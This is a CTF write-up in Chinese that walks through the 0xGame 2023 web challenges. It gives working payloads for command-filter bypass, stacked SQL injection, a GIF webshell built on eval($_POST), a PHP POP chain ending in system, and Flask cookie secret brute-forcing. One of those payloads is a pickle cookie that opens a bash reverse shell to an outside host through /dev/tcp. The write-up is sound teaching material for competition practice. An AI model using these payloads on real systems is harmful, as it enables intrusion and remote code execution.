20230xGame-Web题解
是近期遇到的最难的新生赛,几乎每个题都有挑战,所以决定记录一番。
Week 1
signin
js脚本里
baby_php
1 | ?a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
c=1024.1a
php://filter/read=convert.base64-encode/resource=flag
hello_http
1 | POST /?query=ctf HTTP/1.1 |
除此之外cookie的role设成admin
repo_leak
这题我做了一中午。。。头晕晕的怎么。。。
首先给出我用着好用的GitHack链接:https://github.com/BugScanTeam/GitHack.git
然后脚本跑一下python2 GitHack.py http://124.71.184.68:50013/.git/
跑完git log --oneline
查看历史记录
git diff ea44cb8 8a5b670
查看两个版本的不同
或者git reset --hard 8a5b670
回到过去查看flag。
ping
一定要看源码!!!
注释给了提示,看到源代码发现过滤了分号空格斜杠和flag,同时地址必须是正确的ipv4
没有斜杠无法看很多目录,我们就手切目录;
空格被过滤了就用${IFS}或者%09制表符代替;f
lag可以构造成fla‘’g,shell特性忽略两个单引号里面的内容
ip=192.168.1.1||cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26cat${IFS}fla''g
看了其他师傅的博客发现还可以这么绕过,太狠了
1 | `printf${IFS}"\57"` |
Week 2
更难了,我人傻了
ez_sqli
给了很多Hint,照着Hint写就好,我将总结一下自己遇到的问题并且给出payload
- 如何构造一个报错注入
要么是直接套我下面payload,要么就自己开个mysql试一试语法对不对,不要想当然。。慢慢试
报错注入长度问题
报错注入常常会显示不全,有两种方式来限制长度
1.
select updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1);
使用limit字句限制每次查询行数2.
select updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),1,31),0x7e),1);
limit和mid的逻辑都是指定开始位置和长度concat concat_ws group_concat的区别
concat和concat_ws都是用来把多个字符串拼接起来的,区别在于ws只用指定一次分割符
group_concat是用来把多个搜索结果拼成一个字符串的
最终payload如下:
1 | id;sEt/**/@a=0xselect updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),1,31),0x7e),1);;PRepare/**/hello/**/from/**/@a;execute/**/hello; |
0x后面到第一个分号需要用16进制编码一下,用来绕过过滤的
/**/是绕空格过滤的
ez_upload
二次渲染加不限制后缀,过程直接看hint给的博客吧:pass-16 二次渲染绕过 - 1ink - 博客园 (cnblogs.com)
重点说说我的gif图片马踩坑之路
一定要选一个靠谱一点的gif,我最开始的gif总是有奇怪bug。换一个以后找不变的位置,往里插php代码,最开始插的是phpinfo,一切正常;把它换成eval($_POST[‘1’])以后就不行了,前端报错显示二次渲染函数不认识这个文件头了,为什么phpinfo可以认识eval就不认识呢,猜测是eval的长度较长,同时我放的位置又靠后,于是我选中了更长的相同内容用来插入eval,成功了,好惨的一上午踩坑。
ez_unserialize
名字叫简单反序列化实际上好难呀
给了很多Hint,照着Hint写就好,我将总结一下自己遇到的问题并且给出payload
- 不熟悉php反序列化构造pop链
就是我本人嘛,推荐先读一下羽师傅的文章然后吃透这道题
CTF]PHP反序列化总结_ctf php反序列化-CSDN博客
[MRCTF2020]Ezpop(来自buuctf)
这个题的思路图如下
1 | new Show |
这样基本能熟悉构造pop链了
- 究竟如何使用引用绕过__wakeup
我们为什么要绕过wakeup,因为我们想让expired调用helper的clean,从而实现rce;那什么条件能调用,让expired存在的时候;于是我们将Srorage的store设成一个数组,数组第一个值设为另一个cache的expired的引用,这样当第一次执行set修改内容的时候就将expired设成了非空,于是链条就通畅了(wakeup是反序列化后立即执行的)
- helper的call究竟是什么意思,怎么构造
当调用一个当前类不存在的方法时,会把函数名作为$name,参数作为$args传入__call。
在这里面就相当于是访问了成员变量func(数组)的name里面的内容,于是我们将func设成这样public $funcs = array("clean"=>"system");
,就构造了system函数。
思路如下:
->data = array[“1”=>”new Cache1”,”2”=>”new Cache2”]
new DataObject
->storage = new Storage
->store = &$cache2->expired
->helper = new Helper ->funcs = array[“clean”=>”system”]
->key = ls
完整payload如下:
1 |
|
Week 3
notebook
flask的session爆破加pickle反序列化rce
先随便创一个note,然后拿session的值,用flask-unsign爆破
爆破脚本如下
1 | import os |
执行
1 | flask-unsign --unsign --cookie ".eJwtyt0KgjAYgOFbiZ0PbDrnBA9MFKVW1PzDM79qlkwLihTEe8-g9_DlmVD_eF9fyJ0QNRkBEyi2FFtjy7ow7Nhnhm0gvK5N6ijD_rkVIBc1vswPg_8vEEHEFRTREzRXOhnCtONGVclUB91GxyTbJkNUEnqDoshaPxwXk5Rk_4H-pKGXyzuOohWjjvP7rvE8NM_zF9lHMCE.ZTvG6g.j_hFp3Kp_n7pwyvzmUlIiHlpPwY" --wordlist dict.txt |
用反弹shell,生成新cookie
1 | flask-unsign --sign --cookie "{'notes': {'5372b3b5-4f71-44d7-86c7-6b29aa358f06': b'''cos\nsystem\n(S'bash -c \'bash -i >& /dev/tcp/server.natappfree.cc/43403 0>&1\''\ntR.'''}}" --secret 4c79 --no-literal-eval |
新cookie粘过去,刷新,发现弹上了,flag在/flag
0xGame{750fdbdf-1155-4cac-818e-8918a6ff0bf4}
听师傅说还有curl外带的方式,明天再试吧。。。
我还有两个flask的session脚本,明天试试到底能不能用,刚才不好用的,只有这个flask-unsign好用。
GoShop
int64溢出,买一个很大的值然后卖一部分就行。